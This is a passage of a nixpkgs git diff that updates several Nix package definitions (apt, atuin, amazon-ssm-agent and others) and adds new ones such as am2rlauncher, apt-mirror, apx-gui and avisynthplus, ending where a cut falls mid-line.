index cb3bf00a00380..76e90f6720180 100644 --- a/pkgs/by-name/al/alsa-ucm-conf/package.nix +++ b/pkgs/by-name/al/alsa-ucm-conf/package.nix @@ -1,24 +1,14 @@ -{ lib, stdenv, fetchurl, fetchpatch }: +{ lib, stdenv, fetchurl }: stdenv.mkDerivation rec { pname = "alsa-ucm-conf"; - version = "1.2.10"; + version = "1.2.11"; src = fetchurl { url = "mirror://alsa/lib/${pname}-${version}.tar.bz2"; - hash = "sha256-nCHj8B/wC6p1jfF+hnzTbiTrtBpr7ElzfpkQXhbyrpc="; + hash = "sha256-OHwBzzDioWdte49ysmgc8hmrynDdHsKp4zrdW/P+roE="; }; - patches = [ - (fetchpatch { - # ToDo: Remove this patch in the next package upgrade - # Fixes SplitPCM to make some audio devices work with alsa-ucm-conf v1.2.10 again - name = "alsa-ucm-conf-splitpcm-device-argument-fix.patch"; - url = "https://github.com/alsa-project/alsa-ucm-conf/commit/b68aa52acdd2763fedad5eec0f435fbf43e5ccc6.patch"; - hash = "sha256-8WE4+uhi4W7cCSZYmL7uFpcHJ9muX09UkGXyZIpEd9I="; - }) - ]; - dontBuild = true; installPhase = '' diff --git a/pkgs/by-name/am/am2rlauncher/am2r-run-binary.patch b/pkgs/by-name/am/am2rlauncher/am2r-run-binary.patch new file mode 100644 index 0000000000000..4383190dfe918 --- /dev/null +++ b/pkgs/by-name/am/am2rlauncher/am2r-run-binary.patch @@ -0,0 +1,14 @@ +diff --git a/AM2RLauncher/AM2RLauncherLib/Profile.cs b/AM2RLauncher/AM2RLauncherLib/Profile.cs +index 8186350..2f9de2a 100644 +--- a/AM2RLauncher/AM2RLauncherLib/Profile.cs ++++ b/AM2RLauncher/AM2RLauncherLib/Profile.cs +@@ -796,7 +796,8 @@ public static class Profile + UseShellExecute = false, + WorkingDirectory = gameDirectory, + #if NOAPPIMAGE +- FileName = $"{gameDirectory}/runner" ++ FileName = "am2r-run", ++ Arguments = "./runner" + #else + FileName = $"{gameDirectory}/AM2R.AppImage" + #endif diff --git a/pkgs/by-name/am/am2rlauncher/deps.nix b/pkgs/by-name/am/am2rlauncher/deps.nix new file mode 100644 index 0000000000000..b59e6d1dcd18d --- /dev/null +++ b/pkgs/by-name/am/am2rlauncher/deps.nix @@ -0,0 +1,43 @@ +# This file was automatically generated by passthru.fetch-deps. +# Please dont edit it manually, your changes might get overwritten! + +{ fetchNuGet }: [ + (fetchNuGet { pname = "AtkSharp"; version = "3.24.24.34"; sha256 = "1jn1vgi9xm0jp7769k6sbdi8d273kigjrsh93i6s4c03hqxv7cqs"; }) + (fetchNuGet { pname = "CairoSharp"; version = "3.24.24.34"; sha256 = "0pydn1k0cam1gclg9sc1sbnmbyzh28qlc5qanyxcylwghink3kgz"; }) + (fetchNuGet { pname = "Eto.Forms"; version = "2.7.1"; sha256 = "1hzbdnmn5znycfi0mvqa5k5mz9gasy58qzwa7fjmlkwj8ab87l9r"; }) + (fetchNuGet { pname = "Eto.Platform.Gtk"; version = "2.7.1"; sha256 = "09iz85s728jy5qg7y30qvqw5rpsr3yxffrchk1avryk87ky1ysys"; }) + (fetchNuGet { pname = "GdkSharp"; version = "3.24.24.34"; sha256 = "0r0x0yib7chwsyrbpvicrfwldwqx5lyqq4p86zaxpmzd6zdaj0x5"; }) + (fetchNuGet { pname = "GioSharp"; version = "3.24.24.34"; sha256 = "02hxvgjd4w9jpzbkk7qf9q9bkvyp5hfzwxfqp10vg5lpl9yl3xpx"; }) + (fetchNuGet { pname = "GLibSharp"; version = "3.24.24.34"; sha256 = "0kvp033fgdwc8p2abfp5z9pzq66cvwbnjfvr4v4bkpy5s5h181kq"; }) + (fetchNuGet { pname = "GtkSharp"; version = "3.24.24.34"; sha256 = "0028hzmmqyfx87qqmaf9cgb5psn7gkbmqvixcid67x1d6mzxjicb"; }) + (fetchNuGet { pname = "LibGit2Sharp"; version = "0.27.0"; sha256 = "0n8crafpp4jq74km45wlm3jm0h96ggvqxy26wrz55azgjpk6p1gz"; }) + (fetchNuGet { pname = "LibGit2Sharp.NativeBinaries"; version = "2.0.319"; sha256 = "0xm6np8y182v5246imnkw1fj2sx8x2nl3568kkm3razcgb0y5xlf"; }) + (fetchNuGet { pname = "log4net"; version = "2.0.15"; sha256 = "1iq1rd0z0m15ln247jjrimj3avq50vh6njvw4x158r5v6nz093nb"; }) + (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "1.1.0"; sha256 = "08vh1r12g6ykjygq5d3vq09zylgb84l63k49jc4v8faw9g93iqqm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "5.0.0"; sha256 = "0mwpwdflidzgzfx2dlpkvvnkgkr2ayaf0s80737h4wa35gaj11rc"; }) + (fetchNuGet { pname = "Microsoft.Win32.Registry"; version = "5.0.0"; sha256 = "102hvhq2gmlcbq8y2cb7hdr2dnmjzfp2k3asr1ycwrfacwyaak7n"; }) + (fetchNuGet { pname = "Microsoft.Win32.SystemEvents"; version = "6.0.0"; sha256 = "0c6pcj088g1yd1vs529q3ybgsd2vjlk5y1ic6dkmbhvrp5jibl9p"; }) + (fetchNuGet { pname = "NETStandard.Library"; version = "2.0.3"; sha256 = "1fn9fxppfcg4jgypp2pmrpr6awl3qz1xmnri0cygpkwvyx27df1y"; }) + (fetchNuGet { pname = "PangoSharp"; version = "3.24.24.34"; sha256 = "1r0h14cklglfpv1lhv93cxmzi2w7d5s03gzpq3j5dmrz43flg9zw"; }) + (fetchNuGet { pname = "System.Buffers"; version = "4.4.0"; sha256 = "183f8063w8zqn99pv0ni0nnwh7fgx46qzxamwnans55hhs2l0g19"; }) + (fetchNuGet { pname = "System.Buffers"; version = "4.5.1"; sha256 = "04kb1mdrlcixj9zh1xdi5as0k0qi8byr5mi3p3jcxx72qz93s2y3"; }) + (fetchNuGet { pname = "System.ComponentModel.Annotations"; version = "5.0.0"; sha256 = "021h7x98lblq9avm1bgpa4i31c2kgsa7zn4sqhxf39g087ar756j"; }) + (fetchNuGet { pname = "System.Configuration.ConfigurationManager"; version = "4.5.0"; sha256 = "1frpy24mn6q7hgwayj98kkx89z861f5dmia4j6zc0a2ydgx8x02c"; }) + (fetchNuGet { pname = "System.Configuration.ConfigurationManager"; version = "6.0.0"; sha256 = "0sqapr697jbb4ljkq46msg0xx1qpmc31ivva6llyz2wzq3mpmxbw"; }) + (fetchNuGet { pname = "System.Drawing.Common"; version = "6.0.0"; sha256 = "02n8rzm58dac2np8b3xw8ychbvylja4nh6938l5k2fhyn40imlgz"; }) + (fetchNuGet { pname = "System.Memory"; version = "4.5.0"; sha256 = "1layqpcx1q4l805fdnj2dfqp6ncx2z42ca06rgsr6ikq4jjgbv30"; }) + (fetchNuGet { pname = "System.Memory"; version = "4.5.4"; sha256 = "14gbbs22mcxwggn0fcfs1b062521azb9fbb7c113x0mq6dzq9h6y"; }) + (fetchNuGet { pname = "System.Numerics.Vectors"; version = "4.4.0"; sha256 = "0rdvma399070b0i46c4qq1h2yvjj3k013sqzkilz4bz5cwmx1rba"; }) + (fetchNuGet { pname = "System.Runtime.CompilerServices.Unsafe"; version = "4.5.0"; sha256 = "17labczwqk3jng3kkky73m0jhi8wc21vbl7cz5c0hj2p1dswin43"; }) + (fetchNuGet { pname = "System.Runtime.CompilerServices.Unsafe"; version = "4.5.3"; sha256 = "1afi6s2r1mh1kygbjmfba6l4f87pi5sg13p4a48idqafli94qxln"; }) + (fetchNuGet { pname = "System.Security.AccessControl"; version = "4.5.0"; sha256 = "1wvwanz33fzzbnd2jalar0p0z3x0ba53vzx1kazlskp7pwyhlnq0"; }) + (fetchNuGet { pname = "System.Security.AccessControl"; version = "5.0.0"; sha256 = "17n3lrrl6vahkqmhlpn3w20afgz09n7i6rv0r3qypngwi7wqdr5r"; }) + (fetchNuGet { pname = "System.Security.AccessControl"; version = "6.0.0"; sha256 = "0a678bzj8yxxiffyzy60z2w1nczzpi8v97igr4ip3byd2q89dv58"; }) + (fetchNuGet { pname = "System.Security.Cryptography.ProtectedData"; version = "4.5.0"; sha256 = "11qlc8q6b7xlspayv07718ibzvlj6ddqqxkvcbxv5b24d5kzbrb7"; }) + (fetchNuGet { pname = "System.Security.Cryptography.ProtectedData"; version = "6.0.0"; sha256 = "05kd3a8w7658hjxq9vvszxip30a479fjmfq4bq1r95nrsvs4hbss"; }) + (fetchNuGet { pname = "System.Security.Permissions"; version = "4.5.0"; sha256 = "192ww5rm3c9mirxgl1nzyrwd18am3izqls0hzm0fvcdjl5grvbhm"; }) + (fetchNuGet { pname = "System.Security.Permissions"; version = "6.0.0"; sha256 = "0jsl4xdrkqi11iwmisi1r2f2qn5pbvl79mzq877gndw6ans2zhzw"; }) + (fetchNuGet { pname = "System.Security.Principal.Windows"; version = "4.5.0"; sha256 = "0rmj89wsl5yzwh0kqjgx45vzf694v9p92r4x4q6yxldk1cv1hi86"; }) + (fetchNuGet { pname = "System.Security.Principal.Windows"; version = "5.0.0"; sha256 = "1mpk7xj76lxgz97a5yg93wi8lj0l8p157a5d50mmjy3gbz1904q8"; }) + (fetchNuGet { pname = "System.Windows.Extensions"; version = "6.0.0"; sha256 = "1wy9pq9vn1bqg5qnv53iqrbx04yzdmjw4x5yyi09y3459vaa1sip"; }) +] diff --git a/pkgs/by-name/am/am2rlauncher/package.nix b/pkgs/by-name/am/am2rlauncher/package.nix new file mode 100644 index 0000000000000..d0dbf909500fd --- /dev/null +++ b/pkgs/by-name/am/am2rlauncher/package.nix @@ -0,0 +1,104 @@ +{ lib +, buildDotnetModule +, writeShellScript +, glibc +, gtk3 +, libappindicator +, webkitgtk +, e2fsprogs +, libnotify +, libgit2 +, openssl +, xdelta +, file +, busybox +, openjdk +, patchelf +, fetchFromGitHub +, buildFHSEnv +, glib-networking +}: +let + am2r-run = buildFHSEnv { + name = "am2r-run"; + + multiArch = true; + + multiPkgs = pkgs: with pkgs; [ + stdenv.cc.cc.lib + xorg.libX11 + xorg.libXext + xorg.libXrandr + xorg.libXxf86vm + curl + libGLU + libglvnd + openal + zlib + ]; + + runScript = writeShellScript "am2r-run" '' + exec -- "$1" "$@" + ''; + }; +in +buildDotnetModule { + pname = "am2rlauncher"; + version = "2.3.0-unstable-2023-11-08"; + + src = fetchFromGitHub { + owner = "AM2R-Community-Developers"; + repo = "AM2RLauncher"; + rev = "5d8b7d9b3de68e6215c10b9fd223b7f1d5e40dea"; + sha256 = "sha256-/nHqo8jh3sOUngbpqdfiQjUWO/8Uzpc5jtW7Ep4q6Wg="; + }; + + projectFile = "AM2RLauncher/AM2RLauncher.Gtk/AM2RLauncher.Gtk.csproj"; + + nugetDeps = ./deps.nix; + executables = "AM2RLauncher.Gtk"; + + runtimeDeps = [ + glibc + gtk3 + libappindicator + webkitgtk + e2fsprogs + libnotify + libgit2 + openssl + ]; + + buildInputs = [ gtk3 ]; + + patches = [ ./am2r-run-binary.patch ]; + + dotnetFlags = [ ''-p:DefineConstants="NOAPPIMAGE;NOAUTOUPDATE;PATCHOPENSSL"'' ]; + + postFixup = '' + wrapProgram $out/bin/AM2RLauncher.Gtk \ + --prefix PATH : ${lib.makeBinPath [ am2r-run xdelta file openjdk patchelf ]} \ + --prefix GIO_EXTRA_MODULES : ${glib-networking}/lib/gio/modules + + mkdir -p $out/share/icons + install -Dm644 $src/AM2RLauncher/distribution/linux/AM2RLauncher.png $out/share/icons/AM2RLauncher.png + install -Dm644 $src/AM2RLauncher/distribution/linux/AM2RLauncher.desktop $out/share/applications/AM2RLauncher.desktop + + # renames binary for desktop file + mv $out/bin/AM2RLauncher.Gtk $out/bin/AM2RLauncher + ''; + + meta = with lib; { + homepage = "https://github.com/AM2R-Community-Developers/AM2RLauncher"; + description = "A front-end for dealing with AM2R updates and mods"; + longDescription = '' + A front-end application that simplifies installing the latest + AM2R-Community-Updates, creating APKs for Android use, as well as Mods for + AM2R. + ''; + license = licenses.gpl3Only; + maintainers = with maintainers; [ nsnelson ]; + mainProgram = "AM2RLauncher"; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/am/amazon-ssm-agent/package.nix b/pkgs/by-name/am/amazon-ssm-agent/package.nix index f508e2d2e8f5e..147c811701e0e 100644 --- a/pkgs/by-name/am/amazon-ssm-agent/package.nix +++ b/pkgs/by-name/am/amazon-ssm-agent/package.nix @@ -42,13 +42,13 @@ let in buildGoModule rec { pname = "amazon-ssm-agent"; - version = "3.2.2222.0"; + version = "3.3.40.0"; src = fetchFromGitHub { owner = "aws"; repo = "amazon-ssm-agent"; rev = "refs/tags/${version}"; - hash = "sha256-0mXf7n+Cd5t3xAB/84ejdCzcZviBLODBPkJah1X63+0="; + hash = "sha256-o1THIj0QAafqhbFoZKVZXWiAEcaYB+xP5Y2e45D/6Xg="; }; vendorHash = null; diff --git a/pkgs/by-name/an/ansel/package.nix b/pkgs/by-name/an/ansel/package.nix index f4ee5d5ff0486..82cafc40bd74c 100644 --- a/pkgs/by-name/an/ansel/package.nix +++ b/pkgs/by-name/an/ansel/package.nix @@ -77,13 +77,13 @@ let in stdenv.mkDerivation { pname = "ansel"; - version = "unstable-2024-01-05"; + version = "unstable-2024-02-23"; src = fetchFromGitHub { owner = "aurelienpierreeng"; repo = "ansel"; - rev = "e2c4a0a60cd80f741dd3d3c6ab72be9ac11234fb"; - hash = "sha256-Kg020MHy9fn1drCk+66f25twqczvD/5evutDODqOjYM="; + rev = "61eb388760d130476415a51e19f94b199a1088fe"; + hash = "sha256-68EX5rnOlBHXZnMlXjQk+ZXFIwR5ZFc1Wyg8EzCKaUg="; fetchSubmodules = true; }; diff --git a/pkgs/by-name/ao/aocl-utils/package.nix b/pkgs/by-name/ao/aocl-utils/package.nix index 622c62ee96d65..b4a64d316c657 100644 --- a/pkgs/by-name/ao/aocl-utils/package.nix +++ b/pkgs/by-name/ao/aocl-utils/package.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "aocl-utils"; - version = "4.1"; + version = "4.2"; src = fetchFromGitHub { owner = "amd"; repo = "aocl-utils"; rev = version; - hash = "sha256-7Vc3kE+YfqIt6VfvSamsVQRemolzs1sNJUVUZFKk/O8="; + hash = "sha256-tjmCgVSU4XjBhbKMUY3hsvj3bvuXvVdf5Bqva5nr1tc="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/tools/api-linter/default.nix b/pkgs/by-name/ap/api-linter/package.nix index 97bda54105966..99e238eb97be1 100644 --- a/pkgs/development/tools/api-linter/default.nix +++ b/pkgs/by-name/ap/api-linter/package.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "api-linter"; - version = "1.63.3"; + version = "1.64.0"; src = fetchFromGitHub { owner = "googleapis"; repo = "api-linter"; rev = "v${version}"; - hash = "sha256-mcmp3M9KhZp3j18jh+3v5fwPPLRs2hkrRUN3RM/zCmo="; + hash = "sha256-fkO7wcWivQ1do+KYQJe3OX+WN/jS3cd4pYsZUHojfiU="; }; - vendorHash = "sha256-/z2FqMyZnn2A5aajimTS2zw3A1v5v0uYZY81acuQOnw="; + vendorHash = "sha256-RWB2sq3uNRrxGdBzKI03diaa5fF6LvglUV8L4Nz4fyk="; subPackages = [ "cmd/api-linter" ]; @@ -29,5 +29,6 @@ buildGoModule rec { changelog = "https://github.com/googleapis/api-linter/releases/tag/${src.rev}"; license = licenses.asl20; maintainers = with maintainers; [ xrelkd ]; + mainProgram = "api-linter"; }; } diff --git a/pkgs/by-name/ap/apt-mirror/package.nix b/pkgs/by-name/ap/apt-mirror/package.nix new file mode 100644 index 0000000000000..46aed818fe340 --- /dev/null +++ b/pkgs/by-name/ap/apt-mirror/package.nix @@ -0,0 +1,46 @@ +{ lib +, stdenv +, fetchFromGitHub +, perl +, wget +, makeWrapper +, nix-update-script +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "apt-mirror"; + version = "0.5.4"; + + src = fetchFromGitHub { + owner = "apt-mirror"; + repo = "apt-mirror"; + rev = finalAttrs.version; + hash = "sha256-GNsyXP/O56Y+8QhoSfMm+ig5lK/K3Cm085jxRt9ZRmI="; + }; + + nativeBuildInputs = [ makeWrapper ]; + + buildInputs = [ perl ]; + + makeFlags = [ + "DESTDIR=$(out)" + "PREFIX=''" + ]; + + postInstall = '' + wrapProgram $out/bin/apt-mirror \ + --prefix PATH : ${lib.makeBinPath [wget]} + ''; + + passthru.updateScript = nix-update-script {}; + + meta = with lib; { + description = "A tool that provides the ability to mirror any parts of apt sources"; + homepage = "https://github.com/apt-mirror/apt-mirror"; + changelog = "https://github.com/apt-mirror/apt-mirror/blob/${finalAttrs.src.rev}/CHANGELOG"; + license = licenses.gpl2Only; + maintainers = with maintainers; [ arthsmn ]; + mainProgram = "apt-mirror"; + platforms = platforms.all; + }; +}) diff --git a/pkgs/by-name/ap/apt/package.nix b/pkgs/by-name/ap/apt/package.nix index d797cc72b6399..d58644b935d87 100644 --- a/pkgs/by-name/ap/apt/package.nix +++ b/pkgs/by-name/ap/apt/package.nix @@ -33,11 +33,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "apt"; - version = "2.7.10"; + version = "2.7.13"; src = fetchurl { url = "mirror://debian/pool/main/a/apt/apt_${finalAttrs.version}.tar.xz"; - hash = "sha256-VUZsSEqmQJesIPU4tK4ELn9i5hFiBUGNEepPySIdgH4="; + hash = "sha256-xCq1XpHXvuX8v3/4w1hHFMusqgNl8JHn5gT3+Ek8fjU="; }; # cycle detection; lib can't be split diff --git a/pkgs/by-name/ap/apx-gui/package.nix b/pkgs/by-name/ap/apx-gui/package.nix new file mode 100644 index 0000000000000..60d3eac665d4f --- /dev/null +++ b/pkgs/by-name/ap/apx-gui/package.nix @@ -0,0 +1,59 @@ +{ lib +, stdenv +, fetchFromGitHub +, appstream-glib +, desktop-file-utils +, gobject-introspection +, libadwaita +, meson +, ninja +, pkg-config +, python3 +, wrapGAppsHook4 +, apx +, gnome-console +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "apx-gui"; + version = "0.1.1"; + + src = fetchFromGitHub { + owner = "Vanilla-OS"; + repo = "apx-gui"; + rev = "v${finalAttrs.version}"; + hash = "sha256-orP5kAsoXX0zyDskeIPKKHNt5c757eUm9un4Ws6uFYA="; + }; + + strictDeps = true; + + nativeBuildInputs = [ + appstream-glib + desktop-file-utils + gobject-introspection + meson + ninja + pkg-config + (python3.withPackages (ps: [ ps.pygobject3 ])) + wrapGAppsHook4 + ]; + + buildInputs = [ + libadwaita + ]; + + preFixup = '' + gappsWrapperArgs+=( + --prefix PATH : "${lib.makeBinPath [ apx gnome-console ]}" + ) + ''; + + meta = { + description = "A GUI frontend for Apx in GTK 4 and Libadwaita"; + homepage = "https://github.com/Vanilla-OS/apx-gui"; + license = lib.licenses.gpl3Only; + platforms = lib.platforms.linux; + maintainers = with lib.maintainers; [ chewblacka ]; + mainProgram = "apx-gui"; + }; +}) diff --git a/pkgs/by-name/ar/arcticons-sans/package.nix b/pkgs/by-name/ar/arcticons-sans/package.nix new file mode 100644 index 0000000000000..fb743aceee5cc --- /dev/null +++ b/pkgs/by-name/ar/arcticons-sans/package.nix @@ -0,0 +1,29 @@ +{ lib +, stdenvNoCC +, fetchzip +}: + +stdenvNoCC.mkDerivation (finalAttrs: { + pname = "arcticons-sans"; + version = "0.580"; + + src = fetchzip { + hash = "sha256-BRyYHOuz7zxD1zD4L4DmI9dFhGePmGFDqYmS0DIbvi8="; + url = "https://github.com/arcticons-team/arcticons-font/archive/refs/tags/${finalAttrs.version}.zip"; + }; + + installPhase = '' + runHook preInstall + + install -D -m444 -t $out/share/fonts/opentype $src/*.otf + + runHook postInstall + ''; + + meta = { + description = "Arcticons Sans"; + homepage = "https://github.com/arcticons-team/arcticons-font"; + license = lib.licenses.ofl; + maintainers = with lib.maintainers; [ asininemonkey ]; + }; +}) diff --git a/pkgs/by-name/ar/arduino-ide/package.nix b/pkgs/by-name/ar/arduino-ide/package.nix index bcc947c1530c5..284f3de28a495 100644 --- a/pkgs/by-name/ar/arduino-ide/package.nix +++ b/pkgs/by-name/ar/arduino-ide/package.nix @@ -5,11 +5,11 @@ let pname = "arduino-ide"; - version = "2.2.1"; + version = "2.3.2"; src = fetchurl { url = "https://github.com/arduino/arduino-ide/releases/download/${version}/arduino-ide_${version}_Linux_64bit.AppImage"; - hash = "sha256-77uS/3ean3dWG/vDHG+ry238hiJlYub7H03f15eJu+I="; + hash = "sha256-M7JKfld6DRk4hxih5MufAhW9kJ+ePDrBhE+oXFc8dYw="; }; appimageContents = appimageTools.extractType2 { inherit pname version src; }; diff --git a/pkgs/by-name/ar/arxiv-latex-cleaner/package.nix b/pkgs/by-name/ar/arxiv-latex-cleaner/package.nix index d2d75a2d284a9..bb0b1c6c40347 100644 --- a/pkgs/by-name/ar/arxiv-latex-cleaner/package.nix +++ b/pkgs/by-name/ar/arxiv-latex-cleaner/package.nix @@ -5,13 +5,13 @@ }: python3Packages.buildPythonApplication rec { pname = "arxiv-latex-cleaner"; - version = "1.0.3"; + version = "1.0.4"; src = fetchFromGitHub { owner = "google-research"; repo = "arxiv-latex-cleaner"; rev = "refs/tags/v${version}"; - hash = "sha256-kM1eCzXipJ6GuYFA9Na2C0HtwHLotmE63nyUZ+9wkkk="; + hash = "sha256-Dr0GyivoPjQwVYzvN1JIWhuLz60TQtz4MBB8n1hm6Lo="; }; propagatedBuildInputs = with python3Packages; [ diff --git a/pkgs/by-name/as/ast-grep/package.nix b/pkgs/by-name/as/ast-grep/package.nix index 67afe28bc3468..9a80ef6751f2a 100644 --- a/pkgs/by-name/as/ast-grep/package.nix +++ b/pkgs/by-name/as/ast-grep/package.nix @@ -6,16 +6,16 @@ rustPlatform.buildRustPackage rec { pname = "ast-grep"; - version = "0.18.1"; + version = "0.19.3"; src = fetchFromGitHub { owner = "ast-grep"; repo = "ast-grep"; rev = version; - hash = "sha256-hr6VAqBsv3szVClR93y5ickkrNKjvl6BfzqKA3zc6vM="; + hash = "sha256-nqKDBRH2/YsSmirxJ84BgUTLfgPzZ/EQxqy6Fa7Mfxs="; }; - cargoHash = "sha256-ttJMtaQfVnFj4/wUz4fn8X/EmUwW+usqhmWhy4Y0AB8="; + cargoHash = "sha256-48ZVbRJkpMO+kJE5Kz96McjXhMtu4TzzjfyYdggNWkQ="; # Work around https://github.com/NixOS/nixpkgs/issues/166205. env = lib.optionalAttrs stdenv.cc.isClang { diff --git a/pkgs/by-name/at/atuin/package.nix b/pkgs/by-name/at/atuin/package.nix index db9bc233cb9a7..7f4321233125b 100644 --- a/pkgs/by-name/at/atuin/package.nix +++ b/pkgs/by-name/at/atuin/package.nix @@ -10,20 +10,27 @@ rustPlatform.buildRustPackage rec { pname = "atuin"; - version = "18.0.1"; + version = "18.0.2"; src = fetchFromGitHub { owner = "atuinsh"; repo = "atuin"; rev = "v${version}"; - hash = "sha256-fuVSn1vhKn2+Tw5f6zBYHFW3QSL4eisZ6d5pxsj5hh4="; + hash = "sha256-1ZNp6e2ZjVRU0w9m8YDWOHApu8vRYlcg6MJw03ZV49M="; }; # TODO: unify this to one hash because updater do not support this cargoHash = if stdenv.isLinux - then "sha256-lHWgsVnjSeBmd7O4Fn0pUtTn4XbkBOAouaRHRozil50=" - else "sha256-LxfpllzvgUu7ZuD97n3W+el3bdOt5QGXzJbDQ0w8seo="; + then "sha256-1yGv6Tmp7QhxIu3GNyRzK1i9Ghcil30+e8gTvyeKiZs=" + else "sha256-+QdtQuXTk7Aw7xwelVDp/0T7FAYOnhDqSjazGemzSLw="; + + # atuin's default features include 'check-updates', which do not make sense + # for distribution builds. List all other default features. + buildNoDefaultFeatures = true; + buildFeatures = [ + "client" "sync" "server" "clipboard" + ]; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/by-name/au/audiness/package.nix b/pkgs/by-name/au/audiness/package.nix new file mode 100644 index 0000000000000..28ab75b6dd790 --- /dev/null +++ b/pkgs/by-name/au/audiness/package.nix @@ -0,0 +1,40 @@ +{ lib +, fetchFromGitHub +, python3 +}: + +python3.pkgs.buildPythonApplication rec { + pname = "audiness"; + version = "0.3.0"; + pyproject = true; + + src = fetchFromGitHub { + owner = "audiusGmbH"; + repo = "audiness"; + rev = "refs/tags/${version}"; + hash = "sha256-PkzYsfEhwrMoB+a2eJMmt/PRCbjASQRm38reA8PP4aI="; + }; + + nativeBuildInputs = with python3.pkgs; [ + poetry-core + ]; + + propagatedBuildInputs = with python3.pkgs; [ + pytenable + typer + validators + ] ++ typer.optional-dependencies.all; + + pythonImportsCheck = [ + "audiness" + ]; + + meta = with lib; { + description = "CLI tool to interact with Nessus"; + homepage = "https://github.com/audiusGmbH/audiness"; + changelog = "https://github.com/audiusGmbH/audiness/releases/tag/${version}"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + mainProgram = "audiness"; + }; +} diff --git a/pkgs/by-name/au/audiobookshelf/source.json b/pkgs/by-name/au/audiobookshelf/source.json index 74a3875871706..7dced826db6d3 100644 --- a/pkgs/by-name/au/audiobookshelf/source.json +++ b/pkgs/by-name/au/audiobookshelf/source.json @@ -1,9 +1,9 @@ { "owner": "advplyr", "repo": "audiobookshelf", - "rev": "90f4833c9e0957f08799af15966d1909516b335e", - "hash": "sha256-m+CwUV3Bu9sHvRKCA1vFXYYRx48bxZ8N3BornO1tLQ0=", - "version": "2.7.2", - "depsHash": "sha256-1623oXtkOp43xQvHI3GbJpEQLvgr5WD5FpfNO+d0RR8=", - "clientDepsHash": "sha256-ugf9C/L5aBTO7gCy561kV06Ihb/mg/ZW916NKngIYXI=" + "rev": "85fecbd1b9fc424d8bfd1b63cbae45b8b23a7d34", + "hash": "sha256-GWaaoVa1UJptbYAZ99LbrzfKEksSqK0GSsl3Vh2xKKs=", + "version": "2.8.0", + "depsHash": "sha256-vznd+ZKn0nx0Q7/lsMfWRUZUsK2LtxQor/3C4fQc0Ss=", + "clientDepsHash": "sha256-oqINZO4v5WeRRiLQnnChrnK8VeIzLg1MRhG/gEjkv58=" } diff --git a/pkgs/by-name/au/audiobookshelf/update.nu b/pkgs/by-name/au/audiobookshelf/update.nu index 25166c9cf1d11..4aef2276e4f0d 100755 --- a/pkgs/by-name/au/audiobookshelf/update.nu +++ b/pkgs/by-name/au/audiobookshelf/update.nu @@ -1,5 +1,5 @@ #!/usr/bin/env nix-shell -#!nix-shell -i nu -p nushell common-updater-scripts prefetch-npm-deps +#!nix-shell -i nu -p nushell common-updater-scripts prefetch-npm-deps nix-prefetch-github def main [] { let sourceFile = $"(pwd)/pkgs/by-name/au/audiobookshelf/source.json" diff --git a/pkgs/by-name/au/authentik/package.nix b/pkgs/by-name/au/authentik/package.nix index a4de19b066d7a..454a994e314b7 100644 --- a/pkgs/by-name/au/authentik/package.nix +++ b/pkgs/by-name/au/authentik/package.nix @@ -118,6 +118,8 @@ let substituteInPlace pyproject.toml \ --replace-fail 'dumb-init = "*"' "" \ --replace-fail 'djangorestframework-guardian' 'djangorestframework-guardian2' + substituteInPlace authentik/stages/email/utils.py \ + --replace-fail 'web/' '${webui}/' ''; nativeBuildInputs = [ prev.poetry-core ]; diff --git a/pkgs/by-name/av/avisynthplus/package.nix b/pkgs/by-name/av/avisynthplus/package.nix new file mode 100644 index 0000000000000..153e5dd4afb76 --- /dev/null +++ b/pkgs/by-name/av/avisynthplus/package.nix @@ -0,0 +1,50 @@ +{ + lib, + stdenv, + fetchFromGitHub, + testers, + cmake, + gitUpdater, + fetchpatch, + libdevil, +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "avisynthplus"; + version = "3.7.3"; + + src = fetchFromGitHub { + owner = "AviSynth"; + repo = "AviSynthPlus"; + rev = "v${finalAttrs.version}"; + hash = "sha256-v/AErktcegdrwxDbD0DZ/ZAxgaZmkZD+qxR3EPFsT08="; + }; + + patches = [ + # Remove after next relaese + (fetchpatch { + name = "fix-absolute-path.patch"; + url = "https://github.com/AviSynth/AviSynthPlus/commit/818983691e962ec3e590fcad07032f8a139a6b16.patch"; + hash = "sha256-4yUOnjtOroX+bhNUKbYz/giKaslzYdwPaaJWNkrTBr4="; + }) + ]; + + buildInputs = [ libdevil ]; + + nativeBuildInputs = [ cmake ]; + + passthru = { + updateScript = gitUpdater { rev-prefix = "v"; }; + tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage; + }; + + meta = with lib; { + description = "An improved version of the AviSynth frameserver"; + homepage = "https://avs-plus.net/"; + changelog = "https://github.com/AviSynth/AviSynthPlus/releases/tag/${finalAttrs.src.rev}"; + license = licenses.gpl2Only; + pkgConfigModules = [ "avisynth" ]; + platforms = platforms.unix; + maintainers = with maintainers; [ jopejoe1 ]; + }; +}) diff --git a/pkgs/by-name/ay/ayatana-indicator-session/package.nix b/pkgs/by-name/ay/ayatana-indicator-session/package.nix index e4400a0e23431..4b3d33ea81be6 100644 --- a/pkgs/by-name/ay/ayatana-indicator-session/package.nix +++ b/pkgs/by-name/ay/ayatana-indicator-session/package.nix @@ -21,13 +21,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "ayatana-indicator-session"; - version = "23.10.3"; + version = "24.2.0"; src = fetchFromGitHub { owner = "AyatanaIndicators"; repo = "ayatana-indicator-session"; rev = finalAttrs.version; - hash = "sha256-m2+qZxBrarenR41M41mCteFRXIEGkVDavRWQwM3G4tk="; + hash = "sha256-XHJhzL7B+4FnUHbsJVywELoY7xxG19RRryaPYZVao1I="; }; postPatch = '' @@ -73,13 +73,6 @@ stdenv.mkDerivation (finalAttrs: { (lib.cmakeBool "ENABLE_TESTS" finalAttrs.finalPackage.doCheck) (lib.cmakeBool "GSETTINGS_LOCALINSTALL" true) (lib.cmakeBool "GSETTINGS_COMPILE" true) - (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" (lib.concatStringsSep ";" [ - # Exclude 